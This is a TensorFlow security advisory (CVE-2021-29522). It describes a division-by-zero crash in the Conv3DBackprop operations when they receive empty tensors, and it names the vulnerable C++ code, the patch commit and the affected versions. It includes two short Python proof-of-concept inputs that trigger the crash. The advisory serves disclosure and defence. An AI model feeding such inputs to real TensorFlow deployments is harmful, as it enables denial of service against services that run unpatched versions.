xref: /aosp_15_r20/external/tensorflow/tensorflow/security/advisory/tfsa-2021-011.md (revision b6fb3261f9314811a0f4371741dbb8839866f948)
1## TFSA-2021-011: Division by 0 in `Conv3DBackprop*`
2
3### CVE Number
4CVE-2021-29522
5
6### Impact
7The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input
8tensors are not empty. In turn, this would result in a division by 0:
9
10```python
11import tensorflow as tf
12
13input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32)
14filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32)
15out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
16
17tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
18```
19```python
20import tensorflow as tf
21
22input_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
23filter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32)
24out_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32)
25
26tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
27```
28
29This is because the
30[implementation](https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450)
31does not check that the divisor used in computing the shard size is not zero:
32
33```cc
34  const int64 size_A = output_image_size * dims.out_depth;
35  const int64 size_B = filter_total_size * dims.out_depth;
36  const int64 size_C = output_image_size * filter_total_size;
37  const int64 work_unit_size = size_A + size_B + size_C;
38  ...
39  const size_t shard_size =
40      use_parallel_contraction
41        ? 1
42        : (target_working_set_size + work_unit_size - 1) / work_unit_size;
43```
44
45Thus, if attacker controls the input sizes, they can trigger a denial of service
46via a division by zero error.
47
48### Patches
49We have patched the issue in GitHub commit
50[311403edbc9816df80274bd1ea8b3c0c0f22c3fa](https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa).
51
52The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
53commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
542.1.4, as these are also affected and still in supported range.
55
56### For more information
57Please consult [our security
58guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
59more information regarding the security model and how to contact us with issues
60and questions.
61
62### Attribution
63This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
64X-Team.
65